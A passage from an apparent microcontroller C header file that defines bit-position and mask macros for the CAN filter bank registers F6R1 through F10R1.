CAN_F6R1_FB14 CAN_F6R1_FB14_Msk /*!<Filter bit 14 */ #define CAN_F6R1_FB15_Pos (15U) #define CAN_F6R1_FB15_Msk (0x1U << CAN_F6R1_FB15_Pos) /*!< 0x00008000 */ #define CAN_F6R1_FB15 CAN_F6R1_FB15_Msk /*!<Filter bit 15 */ #define CAN_F6R1_FB16_Pos (16U) #define CAN_F6R1_FB16_Msk (0x1U << CAN_F6R1_FB16_Pos) /*!< 0x00010000 */ #define CAN_F6R1_FB16 CAN_F6R1_FB16_Msk /*!<Filter bit 16 */ #define CAN_F6R1_FB17_Pos (17U) #define CAN_F6R1_FB17_Msk (0x1U << CAN_F6R1_FB17_Pos) /*!< 0x00020000 */ #define CAN_F6R1_FB17 CAN_F6R1_FB17_Msk /*!<Filter bit 17 */ #define CAN_F6R1_FB18_Pos (18U) #define CAN_F6R1_FB18_Msk (0x1U << CAN_F6R1_FB18_Pos) /*!< 0x00040000 */ #define CAN_F6R1_FB18 CAN_F6R1_FB18_Msk /*!<Filter bit 18 */ #define CAN_F6R1_FB19_Pos (19U) #define CAN_F6R1_FB19_Msk (0x1U << CAN_F6R1_FB19_Pos) /*!< 0x00080000 */ #define CAN_F6R1_FB19 CAN_F6R1_FB19_Msk /*!<Filter bit 19 */ #define CAN_F6R1_FB20_Pos (20U) #define CAN_F6R1_FB20_Msk (0x1U << CAN_F6R1_FB20_Pos) /*!< 0x00100000 */ #define CAN_F6R1_FB20 CAN_F6R1_FB20_Msk /*!<Filter bit 20 */ #define CAN_F6R1_FB21_Pos (21U) #define CAN_F6R1_FB21_Msk (0x1U << CAN_F6R1_FB21_Pos) /*!< 0x00200000 */ #define CAN_F6R1_FB21 CAN_F6R1_FB21_Msk /*!<Filter bit 21 */ #define CAN_F6R1_FB22_Pos (22U) #define CAN_F6R1_FB22_Msk (0x1U << CAN_F6R1_FB22_Pos) /*!< 0x00400000 */ #define CAN_F6R1_FB22 CAN_F6R1_FB22_Msk /*!<Filter bit 22 */ #define CAN_F6R1_FB23_Pos (23U) #define CAN_F6R1_FB23_Msk (0x1U << CAN_F6R1_FB23_Pos) /*!< 0x00800000 */ #define CAN_F6R1_FB23 CAN_F6R1_FB23_Msk /*!<Filter bit 23 */ #define CAN_F6R1_FB24_Pos (24U) #define CAN_F6R1_FB24_Msk (0x1U << CAN_F6R1_FB24_Pos) /*!< 0x01000000 */ #define CAN_F6R1_FB24 CAN_F6R1_FB24_Msk /*!<Filter bit 24 */ #define CAN_F6R1_FB25_Pos (25U) #define CAN_F6R1_FB25_Msk (0x1U << CAN_F6R1_FB25_Pos) /*!< 0x02000000 */ #define CAN_F6R1_FB25 CAN_F6R1_FB25_Msk /*!<Filter bit 25 */ #define CAN_F6R1_FB26_Pos (26U) #define CAN_F6R1_FB26_Msk (0x1U << CAN_F6R1_FB26_Pos) /*!< 0x04000000 */ #define CAN_F6R1_FB26 CAN_F6R1_FB26_Msk /*!<Filter bit 26 */ #define CAN_F6R1_FB27_Pos (27U) #define CAN_F6R1_FB27_Msk (0x1U << CAN_F6R1_FB27_Pos) /*!< 0x08000000 */ #define CAN_F6R1_FB27 CAN_F6R1_FB27_Msk /*!<Filter bit 27 */ #define CAN_F6R1_FB28_Pos (28U) #define CAN_F6R1_FB28_Msk (0x1U << CAN_F6R1_FB28_Pos) /*!< 0x10000000 */ #define CAN_F6R1_FB28 CAN_F6R1_FB28_Msk /*!<Filter bit 28 */ #define CAN_F6R1_FB29_Pos (29U) #define CAN_F6R1_FB29_Msk (0x1U << CAN_F6R1_FB29_Pos) /*!< 0x20000000 */ #define CAN_F6R1_FB29 CAN_F6R1_FB29_Msk /*!<Filter bit 29 */ #define CAN_F6R1_FB30_Pos (30U) #define CAN_F6R1_FB30_Msk (0x1U << CAN_F6R1_FB30_Pos) /*!< 0x40000000 */ #define CAN_F6R1_FB30 CAN_F6R1_FB30_Msk /*!<Filter bit 30 */ #define CAN_F6R1_FB31_Pos (31U) #define CAN_F6R1_FB31_Msk (0x1U << CAN_F6R1_FB31_Pos) /*!< 0x80000000 */ #define CAN_F6R1_FB31 CAN_F6R1_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F7R1 register *******************/ #define CAN_F7R1_FB0_Pos (0U) #define CAN_F7R1_FB0_Msk (0x1U << CAN_F7R1_FB0_Pos) /*!< 0x00000001 */ #define CAN_F7R1_FB0 CAN_F7R1_FB0_Msk /*!<Filter bit 0 */ #define CAN_F7R1_FB1_Pos (1U) #define CAN_F7R1_FB1_Msk (0x1U << CAN_F7R1_FB1_Pos) /*!< 0x00000002 */ #define CAN_F7R1_FB1 CAN_F7R1_FB1_Msk /*!<Filter bit 1 */ #define CAN_F7R1_FB2_Pos (2U) #define CAN_F7R1_FB2_Msk (0x1U << CAN_F7R1_FB2_Pos) /*!< 0x00000004 */ #define CAN_F7R1_FB2 CAN_F7R1_FB2_Msk /*!<Filter bit 2 */ #define CAN_F7R1_FB3_Pos (3U) #define CAN_F7R1_FB3_Msk (0x1U << CAN_F7R1_FB3_Pos) /*!< 0x00000008 */ #define CAN_F7R1_FB3 CAN_F7R1_FB3_Msk /*!<Filter bit 3 */ #define CAN_F7R1_FB4_Pos (4U) #define CAN_F7R1_FB4_Msk (0x1U << CAN_F7R1_FB4_Pos) /*!< 0x00000010 */ #define CAN_F7R1_FB4 CAN_F7R1_FB4_Msk /*!<Filter bit 4 */ #define CAN_F7R1_FB5_Pos (5U) #define CAN_F7R1_FB5_Msk (0x1U << CAN_F7R1_FB5_Pos) /*!< 0x00000020 */ #define CAN_F7R1_FB5 CAN_F7R1_FB5_Msk /*!<Filter bit 5 */ #define CAN_F7R1_FB6_Pos (6U) #define CAN_F7R1_FB6_Msk (0x1U << CAN_F7R1_FB6_Pos) /*!< 0x00000040 */ #define CAN_F7R1_FB6 CAN_F7R1_FB6_Msk /*!<Filter bit 6 */ #define CAN_F7R1_FB7_Pos (7U) #define CAN_F7R1_FB7_Msk (0x1U << CAN_F7R1_FB7_Pos) /*!< 0x00000080 */ #define CAN_F7R1_FB7 CAN_F7R1_FB7_Msk /*!<Filter bit 7 */ #define CAN_F7R1_FB8_Pos (8U) #define CAN_F7R1_FB8_Msk (0x1U << CAN_F7R1_FB8_Pos) /*!< 0x00000100 */ #define CAN_F7R1_FB8 CAN_F7R1_FB8_Msk /*!<Filter bit 8 */ #define CAN_F7R1_FB9_Pos (9U) #define CAN_F7R1_FB9_Msk (0x1U << CAN_F7R1_FB9_Pos) /*!< 0x00000200 */ #define CAN_F7R1_FB9 CAN_F7R1_FB9_Msk /*!<Filter bit 9 */ #define CAN_F7R1_FB10_Pos (10U) #define CAN_F7R1_FB10_Msk (0x1U << CAN_F7R1_FB10_Pos) /*!< 0x00000400 */ #define CAN_F7R1_FB10 CAN_F7R1_FB10_Msk /*!<Filter bit 10 */ #define CAN_F7R1_FB11_Pos (11U) #define CAN_F7R1_FB11_Msk (0x1U << CAN_F7R1_FB11_Pos) /*!< 0x00000800 */ #define CAN_F7R1_FB11 CAN_F7R1_FB11_Msk /*!<Filter bit 11 */ #define CAN_F7R1_FB12_Pos (12U) #define CAN_F7R1_FB12_Msk (0x1U << CAN_F7R1_FB12_Pos) /*!< 0x00001000 */ #define CAN_F7R1_FB12 CAN_F7R1_FB12_Msk /*!<Filter bit 12 */ #define CAN_F7R1_FB13_Pos (13U) #define CAN_F7R1_FB13_Msk (0x1U << CAN_F7R1_FB13_Pos) /*!< 0x00002000 */ #define CAN_F7R1_FB13 CAN_F7R1_FB13_Msk /*!<Filter bit 13 */ #define CAN_F7R1_FB14_Pos (14U) #define CAN_F7R1_FB14_Msk (0x1U << CAN_F7R1_FB14_Pos) /*!< 0x00004000 */ #define CAN_F7R1_FB14 CAN_F7R1_FB14_Msk /*!<Filter bit 14 */ #define CAN_F7R1_FB15_Pos (15U) #define CAN_F7R1_FB15_Msk (0x1U << CAN_F7R1_FB15_Pos) /*!< 0x00008000 */ #define CAN_F7R1_FB15 CAN_F7R1_FB15_Msk /*!<Filter bit 15 */ #define CAN_F7R1_FB16_Pos (16U) #define CAN_F7R1_FB16_Msk (0x1U << CAN_F7R1_FB16_Pos) /*!< 0x00010000 */ #define CAN_F7R1_FB16 CAN_F7R1_FB16_Msk /*!<Filter bit 16 */ #define CAN_F7R1_FB17_Pos (17U) #define CAN_F7R1_FB17_Msk (0x1U << CAN_F7R1_FB17_Pos) /*!< 0x00020000 */ #define CAN_F7R1_FB17 CAN_F7R1_FB17_Msk /*!<Filter bit 17 */ #define CAN_F7R1_FB18_Pos (18U) #define CAN_F7R1_FB18_Msk (0x1U << CAN_F7R1_FB18_Pos) /*!< 0x00040000 */ #define CAN_F7R1_FB18 CAN_F7R1_FB18_Msk /*!<Filter bit 18 */ #define CAN_F7R1_FB19_Pos (19U) #define CAN_F7R1_FB19_Msk (0x1U << CAN_F7R1_FB19_Pos) /*!< 0x00080000 */ #define CAN_F7R1_FB19 CAN_F7R1_FB19_Msk /*!<Filter bit 19 */ #define CAN_F7R1_FB20_Pos (20U) #define CAN_F7R1_FB20_Msk (0x1U << CAN_F7R1_FB20_Pos) /*!< 0x00100000 */ #define CAN_F7R1_FB20 CAN_F7R1_FB20_Msk /*!<Filter bit 20 */ #define CAN_F7R1_FB21_Pos (21U) #define CAN_F7R1_FB21_Msk (0x1U << CAN_F7R1_FB21_Pos) /*!< 0x00200000 */ #define CAN_F7R1_FB21 CAN_F7R1_FB21_Msk /*!<Filter bit 21 */ #define CAN_F7R1_FB22_Pos (22U) #define CAN_F7R1_FB22_Msk (0x1U << CAN_F7R1_FB22_Pos) /*!< 0x00400000 */ #define CAN_F7R1_FB22 CAN_F7R1_FB22_Msk /*!<Filter bit 22 */ #define CAN_F7R1_FB23_Pos (23U) #define CAN_F7R1_FB23_Msk (0x1U << CAN_F7R1_FB23_Pos) /*!< 0x00800000 */ #define CAN_F7R1_FB23 CAN_F7R1_FB23_Msk /*!<Filter bit 23 */ #define CAN_F7R1_FB24_Pos (24U) #define CAN_F7R1_FB24_Msk (0x1U << CAN_F7R1_FB24_Pos) /*!< 0x01000000 */ #define CAN_F7R1_FB24 CAN_F7R1_FB24_Msk /*!<Filter bit 24 */ #define CAN_F7R1_FB25_Pos (25U) #define CAN_F7R1_FB25_Msk (0x1U << CAN_F7R1_FB25_Pos) /*!< 0x02000000 */ #define CAN_F7R1_FB25 CAN_F7R1_FB25_Msk /*!<Filter bit 25 */ #define CAN_F7R1_FB26_Pos (26U) #define CAN_F7R1_FB26_Msk (0x1U << CAN_F7R1_FB26_Pos) /*!< 0x04000000 */ #define CAN_F7R1_FB26 CAN_F7R1_FB26_Msk /*!<Filter bit 26 */ #define CAN_F7R1_FB27_Pos (27U) #define CAN_F7R1_FB27_Msk (0x1U << CAN_F7R1_FB27_Pos) /*!< 0x08000000 */ #define CAN_F7R1_FB27 CAN_F7R1_FB27_Msk /*!<Filter bit 27 */ #define CAN_F7R1_FB28_Pos (28U) #define CAN_F7R1_FB28_Msk (0x1U << CAN_F7R1_FB28_Pos) /*!< 0x10000000 */ #define CAN_F7R1_FB28 CAN_F7R1_FB28_Msk /*!<Filter bit 28 */ #define CAN_F7R1_FB29_Pos (29U) #define CAN_F7R1_FB29_Msk (0x1U << CAN_F7R1_FB29_Pos) /*!< 0x20000000 */ #define CAN_F7R1_FB29 CAN_F7R1_FB29_Msk /*!<Filter bit 29 */ #define CAN_F7R1_FB30_Pos (30U) #define CAN_F7R1_FB30_Msk (0x1U << CAN_F7R1_FB30_Pos) /*!< 0x40000000 */ #define CAN_F7R1_FB30 CAN_F7R1_FB30_Msk /*!<Filter bit 30 */ #define CAN_F7R1_FB31_Pos (31U) #define CAN_F7R1_FB31_Msk (0x1U << CAN_F7R1_FB31_Pos) /*!< 0x80000000 */ #define CAN_F7R1_FB31 CAN_F7R1_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F8R1 register *******************/ #define CAN_F8R1_FB0_Pos (0U) #define CAN_F8R1_FB0_Msk (0x1U << CAN_F8R1_FB0_Pos) /*!< 0x00000001 */ #define CAN_F8R1_FB0 CAN_F8R1_FB0_Msk /*!<Filter bit 0 */ #define CAN_F8R1_FB1_Pos (1U) #define CAN_F8R1_FB1_Msk (0x1U << CAN_F8R1_FB1_Pos) /*!< 0x00000002 */ #define CAN_F8R1_FB1 CAN_F8R1_FB1_Msk /*!<Filter bit 1 */ #define CAN_F8R1_FB2_Pos (2U) #define CAN_F8R1_FB2_Msk (0x1U << CAN_F8R1_FB2_Pos) /*!< 0x00000004 */ #define CAN_F8R1_FB2 CAN_F8R1_FB2_Msk /*!<Filter bit 2 */ #define CAN_F8R1_FB3_Pos (3U) #define CAN_F8R1_FB3_Msk (0x1U << CAN_F8R1_FB3_Pos) /*!< 0x00000008 */ #define CAN_F8R1_FB3 CAN_F8R1_FB3_Msk /*!<Filter bit 3 */ #define CAN_F8R1_FB4_Pos (4U) #define CAN_F8R1_FB4_Msk (0x1U << CAN_F8R1_FB4_Pos) /*!< 0x00000010 */ #define CAN_F8R1_FB4 CAN_F8R1_FB4_Msk /*!<Filter bit 4 */ #define CAN_F8R1_FB5_Pos (5U) #define CAN_F8R1_FB5_Msk (0x1U << CAN_F8R1_FB5_Pos) /*!< 0x00000020 */ #define CAN_F8R1_FB5 CAN_F8R1_FB5_Msk /*!<Filter bit 5 */ #define CAN_F8R1_FB6_Pos (6U) #define CAN_F8R1_FB6_Msk (0x1U << CAN_F8R1_FB6_Pos) /*!< 0x00000040 */ #define CAN_F8R1_FB6 CAN_F8R1_FB6_Msk /*!<Filter bit 6 */ #define CAN_F8R1_FB7_Pos (7U) #define CAN_F8R1_FB7_Msk (0x1U << CAN_F8R1_FB7_Pos) /*!< 0x00000080 */ #define CAN_F8R1_FB7 CAN_F8R1_FB7_Msk /*!<Filter bit 7 */ #define CAN_F8R1_FB8_Pos (8U) #define CAN_F8R1_FB8_Msk (0x1U << CAN_F8R1_FB8_Pos) /*!< 0x00000100 */ #define CAN_F8R1_FB8 CAN_F8R1_FB8_Msk /*!<Filter bit 8 */ #define CAN_F8R1_FB9_Pos (9U) #define CAN_F8R1_FB9_Msk (0x1U << CAN_F8R1_FB9_Pos) /*!< 0x00000200 */ #define CAN_F8R1_FB9 CAN_F8R1_FB9_Msk /*!<Filter bit 9 */ #define CAN_F8R1_FB10_Pos (10U) #define CAN_F8R1_FB10_Msk (0x1U << CAN_F8R1_FB10_Pos) /*!< 0x00000400 */ #define CAN_F8R1_FB10 CAN_F8R1_FB10_Msk /*!<Filter bit 10 */ #define CAN_F8R1_FB11_Pos (11U) #define CAN_F8R1_FB11_Msk (0x1U << CAN_F8R1_FB11_Pos) /*!< 0x00000800 */ #define CAN_F8R1_FB11 CAN_F8R1_FB11_Msk /*!<Filter bit 11 */ #define CAN_F8R1_FB12_Pos (12U) #define CAN_F8R1_FB12_Msk (0x1U << CAN_F8R1_FB12_Pos) /*!< 0x00001000 */ #define CAN_F8R1_FB12 CAN_F8R1_FB12_Msk /*!<Filter bit 12 */ #define CAN_F8R1_FB13_Pos (13U) #define CAN_F8R1_FB13_Msk (0x1U << CAN_F8R1_FB13_Pos) /*!< 0x00002000 */ #define CAN_F8R1_FB13 CAN_F8R1_FB13_Msk /*!<Filter bit 13 */ #define CAN_F8R1_FB14_Pos (14U) #define CAN_F8R1_FB14_Msk (0x1U << CAN_F8R1_FB14_Pos) /*!< 0x00004000 */ #define CAN_F8R1_FB14 CAN_F8R1_FB14_Msk /*!<Filter bit 14 */ #define CAN_F8R1_FB15_Pos (15U) #define CAN_F8R1_FB15_Msk (0x1U << CAN_F8R1_FB15_Pos) /*!< 0x00008000 */ #define CAN_F8R1_FB15 CAN_F8R1_FB15_Msk /*!<Filter bit 15 */ #define CAN_F8R1_FB16_Pos (16U) #define CAN_F8R1_FB16_Msk (0x1U << CAN_F8R1_FB16_Pos) /*!< 0x00010000 */ #define CAN_F8R1_FB16 CAN_F8R1_FB16_Msk /*!<Filter bit 16 */ #define CAN_F8R1_FB17_Pos (17U) #define CAN_F8R1_FB17_Msk (0x1U << CAN_F8R1_FB17_Pos) /*!< 0x00020000 */ #define CAN_F8R1_FB17 CAN_F8R1_FB17_Msk /*!<Filter bit 17 */ #define CAN_F8R1_FB18_Pos (18U) #define CAN_F8R1_FB18_Msk (0x1U << CAN_F8R1_FB18_Pos) /*!< 0x00040000 */ #define CAN_F8R1_FB18 CAN_F8R1_FB18_Msk /*!<Filter bit 18 */ #define CAN_F8R1_FB19_Pos (19U) #define CAN_F8R1_FB19_Msk (0x1U << CAN_F8R1_FB19_Pos) /*!< 0x00080000 */ #define CAN_F8R1_FB19 CAN_F8R1_FB19_Msk /*!<Filter bit 19 */ #define CAN_F8R1_FB20_Pos (20U) #define CAN_F8R1_FB20_Msk (0x1U << CAN_F8R1_FB20_Pos) /*!< 0x00100000 */ #define CAN_F8R1_FB20 CAN_F8R1_FB20_Msk /*!<Filter bit 20 */ #define CAN_F8R1_FB21_Pos (21U) #define CAN_F8R1_FB21_Msk (0x1U << CAN_F8R1_FB21_Pos) /*!< 0x00200000 */ #define CAN_F8R1_FB21 CAN_F8R1_FB21_Msk /*!<Filter bit 21 */ #define CAN_F8R1_FB22_Pos (22U) #define CAN_F8R1_FB22_Msk (0x1U << CAN_F8R1_FB22_Pos) /*!< 0x00400000 */ #define CAN_F8R1_FB22 CAN_F8R1_FB22_Msk /*!<Filter bit 22 */ #define CAN_F8R1_FB23_Pos (23U) #define CAN_F8R1_FB23_Msk (0x1U << CAN_F8R1_FB23_Pos) /*!< 0x00800000 */ #define CAN_F8R1_FB23 CAN_F8R1_FB23_Msk /*!<Filter bit 23 */ #define CAN_F8R1_FB24_Pos (24U) #define CAN_F8R1_FB24_Msk (0x1U << CAN_F8R1_FB24_Pos) /*!< 0x01000000 */ #define CAN_F8R1_FB24 CAN_F8R1_FB24_Msk /*!<Filter bit 24 */ #define CAN_F8R1_FB25_Pos (25U) #define CAN_F8R1_FB25_Msk (0x1U << CAN_F8R1_FB25_Pos) /*!< 0x02000000 */ #define CAN_F8R1_FB25 CAN_F8R1_FB25_Msk /*!<Filter bit 25 */ #define CAN_F8R1_FB26_Pos (26U) #define CAN_F8R1_FB26_Msk (0x1U << CAN_F8R1_FB26_Pos) /*!< 0x04000000 */ #define CAN_F8R1_FB26 CAN_F8R1_FB26_Msk /*!<Filter bit 26 */ #define CAN_F8R1_FB27_Pos (27U) #define CAN_F8R1_FB27_Msk (0x1U << CAN_F8R1_FB27_Pos) /*!< 0x08000000 */ #define CAN_F8R1_FB27 CAN_F8R1_FB27_Msk /*!<Filter bit 27 */ #define CAN_F8R1_FB28_Pos (28U) #define CAN_F8R1_FB28_Msk (0x1U << CAN_F8R1_FB28_Pos) /*!< 0x10000000 */ #define CAN_F8R1_FB28 CAN_F8R1_FB28_Msk /*!<Filter bit 28 */ #define CAN_F8R1_FB29_Pos (29U) #define CAN_F8R1_FB29_Msk (0x1U << CAN_F8R1_FB29_Pos) /*!< 0x20000000 */ #define CAN_F8R1_FB29 CAN_F8R1_FB29_Msk /*!<Filter bit 29 */ #define CAN_F8R1_FB30_Pos (30U) #define CAN_F8R1_FB30_Msk (0x1U << CAN_F8R1_FB30_Pos) /*!< 0x40000000 */ #define CAN_F8R1_FB30 CAN_F8R1_FB30_Msk /*!<Filter bit 30 */ #define CAN_F8R1_FB31_Pos (31U) #define CAN_F8R1_FB31_Msk (0x1U << CAN_F8R1_FB31_Pos) /*!< 0x80000000 */ #define CAN_F8R1_FB31 CAN_F8R1_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F9R1 register *******************/ #define CAN_F9R1_FB0_Pos (0U) #define CAN_F9R1_FB0_Msk (0x1U << CAN_F9R1_FB0_Pos) /*!< 0x00000001 */ #define CAN_F9R1_FB0 CAN_F9R1_FB0_Msk /*!<Filter bit 0 */ #define CAN_F9R1_FB1_Pos (1U) #define CAN_F9R1_FB1_Msk (0x1U << CAN_F9R1_FB1_Pos) /*!< 0x00000002 */ #define CAN_F9R1_FB1 CAN_F9R1_FB1_Msk /*!<Filter bit 1 */ #define CAN_F9R1_FB2_Pos (2U) #define CAN_F9R1_FB2_Msk (0x1U << CAN_F9R1_FB2_Pos) /*!< 0x00000004 */ #define CAN_F9R1_FB2 CAN_F9R1_FB2_Msk /*!<Filter bit 2 */ #define CAN_F9R1_FB3_Pos (3U) #define CAN_F9R1_FB3_Msk (0x1U << CAN_F9R1_FB3_Pos) /*!< 0x00000008 */ #define CAN_F9R1_FB3 CAN_F9R1_FB3_Msk /*!<Filter bit 3 */ #define CAN_F9R1_FB4_Pos (4U) #define CAN_F9R1_FB4_Msk (0x1U << CAN_F9R1_FB4_Pos) /*!< 0x00000010 */ #define CAN_F9R1_FB4 CAN_F9R1_FB4_Msk /*!<Filter bit 4 */ #define CAN_F9R1_FB5_Pos (5U) #define CAN_F9R1_FB5_Msk (0x1U << CAN_F9R1_FB5_Pos) /*!< 0x00000020 */ #define CAN_F9R1_FB5 CAN_F9R1_FB5_Msk /*!<Filter bit 5 */ #define CAN_F9R1_FB6_Pos (6U) #define CAN_F9R1_FB6_Msk (0x1U << CAN_F9R1_FB6_Pos) /*!< 0x00000040 */ #define CAN_F9R1_FB6 CAN_F9R1_FB6_Msk /*!<Filter bit 6 */ #define CAN_F9R1_FB7_Pos (7U) #define CAN_F9R1_FB7_Msk (0x1U << CAN_F9R1_FB7_Pos) /*!< 0x00000080 */ #define CAN_F9R1_FB7 CAN_F9R1_FB7_Msk /*!<Filter bit 7 */ #define CAN_F9R1_FB8_Pos (8U) #define CAN_F9R1_FB8_Msk (0x1U << CAN_F9R1_FB8_Pos) /*!< 0x00000100 */ #define CAN_F9R1_FB8 CAN_F9R1_FB8_Msk /*!<Filter bit 8 */ #define CAN_F9R1_FB9_Pos (9U) #define CAN_F9R1_FB9_Msk (0x1U << CAN_F9R1_FB9_Pos) /*!< 0x00000200 */ #define CAN_F9R1_FB9 CAN_F9R1_FB9_Msk /*!<Filter bit 9 */ #define CAN_F9R1_FB10_Pos (10U) #define CAN_F9R1_FB10_Msk (0x1U << CAN_F9R1_FB10_Pos) /*!< 0x00000400 */ #define CAN_F9R1_FB10 CAN_F9R1_FB10_Msk /*!<Filter bit 10 */ #define CAN_F9R1_FB11_Pos (11U) #define CAN_F9R1_FB11_Msk (0x1U << CAN_F9R1_FB11_Pos) /*!< 0x00000800 */ #define CAN_F9R1_FB11 CAN_F9R1_FB11_Msk /*!<Filter bit 11 */ #define CAN_F9R1_FB12_Pos (12U) #define CAN_F9R1_FB12_Msk (0x1U << CAN_F9R1_FB12_Pos) /*!< 0x00001000 */ #define CAN_F9R1_FB12 CAN_F9R1_FB12_Msk /*!<Filter bit 12 */ #define CAN_F9R1_FB13_Pos (13U) #define CAN_F9R1_FB13_Msk (0x1U << CAN_F9R1_FB13_Pos) /*!< 0x00002000 */ #define CAN_F9R1_FB13 CAN_F9R1_FB13_Msk /*!<Filter bit 13 */ #define CAN_F9R1_FB14_Pos (14U) #define CAN_F9R1_FB14_Msk (0x1U << CAN_F9R1_FB14_Pos) /*!< 0x00004000 */ #define CAN_F9R1_FB14 CAN_F9R1_FB14_Msk /*!<Filter bit 14 */ #define CAN_F9R1_FB15_Pos (15U) #define CAN_F9R1_FB15_Msk (0x1U << CAN_F9R1_FB15_Pos) /*!< 0x00008000 */ #define CAN_F9R1_FB15 CAN_F9R1_FB15_Msk /*!<Filter bit 15 */ #define CAN_F9R1_FB16_Pos (16U) #define CAN_F9R1_FB16_Msk (0x1U << CAN_F9R1_FB16_Pos) /*!< 0x00010000 */ #define CAN_F9R1_FB16 CAN_F9R1_FB16_Msk /*!<Filter bit 16 */ #define CAN_F9R1_FB17_Pos (17U) #define CAN_F9R1_FB17_Msk (0x1U << CAN_F9R1_FB17_Pos) /*!< 0x00020000 */ #define CAN_F9R1_FB17 CAN_F9R1_FB17_Msk /*!<Filter bit 17 */ #define CAN_F9R1_FB18_Pos (18U) #define CAN_F9R1_FB18_Msk (0x1U << CAN_F9R1_FB18_Pos) /*!< 0x00040000 */ #define CAN_F9R1_FB18 CAN_F9R1_FB18_Msk /*!<Filter bit 18 */ #define CAN_F9R1_FB19_Pos (19U) #define CAN_F9R1_FB19_Msk (0x1U << CAN_F9R1_FB19_Pos) /*!< 0x00080000 */ #define CAN_F9R1_FB19 CAN_F9R1_FB19_Msk /*!<Filter bit 19 */ #define CAN_F9R1_FB20_Pos (20U) #define CAN_F9R1_FB20_Msk (0x1U << CAN_F9R1_FB20_Pos) /*!< 0x00100000 */ #define CAN_F9R1_FB20 CAN_F9R1_FB20_Msk /*!<Filter bit 20 */ #define CAN_F9R1_FB21_Pos (21U) #define CAN_F9R1_FB21_Msk (0x1U << CAN_F9R1_FB21_Pos) /*!< 0x00200000 */ #define CAN_F9R1_FB21 CAN_F9R1_FB21_Msk /*!<Filter bit 21 */ #define CAN_F9R1_FB22_Pos (22U) #define CAN_F9R1_FB22_Msk (0x1U << CAN_F9R1_FB22_Pos) /*!< 0x00400000 */ #define CAN_F9R1_FB22 CAN_F9R1_FB22_Msk /*!<Filter bit 22 */ #define CAN_F9R1_FB23_Pos (23U) #define CAN_F9R1_FB23_Msk (0x1U << CAN_F9R1_FB23_Pos) /*!< 0x00800000 */ #define CAN_F9R1_FB23 CAN_F9R1_FB23_Msk /*!<Filter bit 23 */ #define CAN_F9R1_FB24_Pos (24U) #define CAN_F9R1_FB24_Msk (0x1U << CAN_F9R1_FB24_Pos) /*!< 0x01000000 */ #define CAN_F9R1_FB24 CAN_F9R1_FB24_Msk /*!<Filter bit 24 */ #define CAN_F9R1_FB25_Pos (25U) #define CAN_F9R1_FB25_Msk (0x1U << CAN_F9R1_FB25_Pos) /*!< 0x02000000 */ #define CAN_F9R1_FB25 CAN_F9R1_FB25_Msk /*!<Filter bit 25 */ #define CAN_F9R1_FB26_Pos (26U) #define CAN_F9R1_FB26_Msk (0x1U << CAN_F9R1_FB26_Pos) /*!< 0x04000000 */ #define CAN_F9R1_FB26 CAN_F9R1_FB26_Msk /*!<Filter bit 26 */ #define CAN_F9R1_FB27_Pos (27U) #define CAN_F9R1_FB27_Msk (0x1U << CAN_F9R1_FB27_Pos) /*!< 0x08000000 */ #define CAN_F9R1_FB27 CAN_F9R1_FB27_Msk /*!<Filter bit 27 */ #define CAN_F9R1_FB28_Pos (28U) #define CAN_F9R1_FB28_Msk (0x1U << CAN_F9R1_FB28_Pos) /*!< 0x10000000 */ #define CAN_F9R1_FB28 CAN_F9R1_FB28_Msk /*!<Filter bit 28 */ #define CAN_F9R1_FB29_Pos (29U) #define CAN_F9R1_FB29_Msk (0x1U << CAN_F9R1_FB29_Pos) /*!< 0x20000000 */ #define CAN_F9R1_FB29 CAN_F9R1_FB29_Msk /*!<Filter bit 29 */ #define CAN_F9R1_FB30_Pos (30U) #define CAN_F9R1_FB30_Msk (0x1U << CAN_F9R1_FB30_Pos) /*!< 0x40000000 */ #define CAN_F9R1_FB30 CAN_F9R1_FB30_Msk /*!<Filter bit 30 */ #define CAN_F9R1_FB31_Pos (31U) #define CAN_F9R1_FB31_Msk (0x1U << CAN_F9R1_FB31_Pos) /*!< 0x80000000 */ #define CAN_F9R1_FB31 CAN_F9R1_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F10R1 register ******************/ #define CAN_F10R1_FB0_Pos (0U) #define CAN_F10R1_FB0_Msk (0x1U << CAN_F10R1_FB0_Pos) /*!< 0x00000001 */ #define CAN_F10R1_FB0 CAN_F10R1_FB0_Msk /*!<Filter bit 0 */ #define CAN_F10R1_FB1_Pos (1U) #define CAN_F10R1_FB1_Msk (0x1U << CAN_F10R1_FB1_Pos) /*!< 0x00000002 */ #define CAN_F10R1_FB1 CAN_F10R1_FB1_Msk /*!<Filter bit 1 */ #define CAN_F10R1_FB2_Pos (2U) #define CAN_F10R1_FB2_Msk (0x1U << CAN_F10R1_FB2_Pos) /*!< 0x00000004 */ #define CAN_F10R1_FB2 CAN_F10R1_FB2_Msk /*!<Filter bit 2 */ #define CAN_F10R1_FB3_Pos (3U) #define CAN_F10R1_FB3_Msk (0x1U << CAN_F10R1_FB3_Pos) /*!< 0x00000008 */ #define CAN_F10R1_FB3 CAN_F10R1_FB3_Msk /*!<Filter bit 3 */ #define CAN_F10R1_FB4_Pos (4U) #define CAN_F10R1_FB4_Msk (0x1U << CAN_F10R1_FB4_Pos) /*!< 0x00000010 */ #define CAN_F10R1_FB4 CAN_F10R1_FB4_Msk /*!<Filter bit 4 */ #define CAN_F10R1_FB5_Pos (5U) #define CAN_F10R1_FB5_Msk (0x1U << CAN_F10R1_FB5_Pos) /*!< 0x00000020 */ #define CAN_F10R1_FB5 CAN_F10R1_FB5_Msk /*!<Filter bit 5 */ #define CAN_F10R1_FB6_Pos (6U) #define CAN_F10R1_FB6_Msk (0x1U << CAN_F10R1_FB6_Pos) /*!< 0x00000040 */ #define CAN_F10R1_FB6 CAN_F10R1_FB6_Msk /*!<Filter bit 6 */ #define CAN_F10R1_FB7_Pos (7U) #define CAN_F10R1_FB7_Msk (0x1U << CAN_F10R1_FB7_Pos) /*!< 0x00000080 */ #define CAN_F10R1_FB7 CAN_F10R1_FB7_Msk /*!<Filter bit 7 */ #define CAN_F10R1_FB8_Pos (8U) #define CAN_F10R1_FB8_Msk (0x1U << CAN_F10R1_FB8_Pos) /*!< 0x00000100 */ #define CAN_F10R1_FB8 CAN_F10R1_FB8_Msk /*!<Filter bit 8 */ #define CAN_F10R1_FB9_Pos (9U) #define CAN_F10R1_FB9_Msk (0x1U << CAN_F10R1_FB9_Pos) /*!< 0x00000200 */ #define CAN_F10R1_FB9 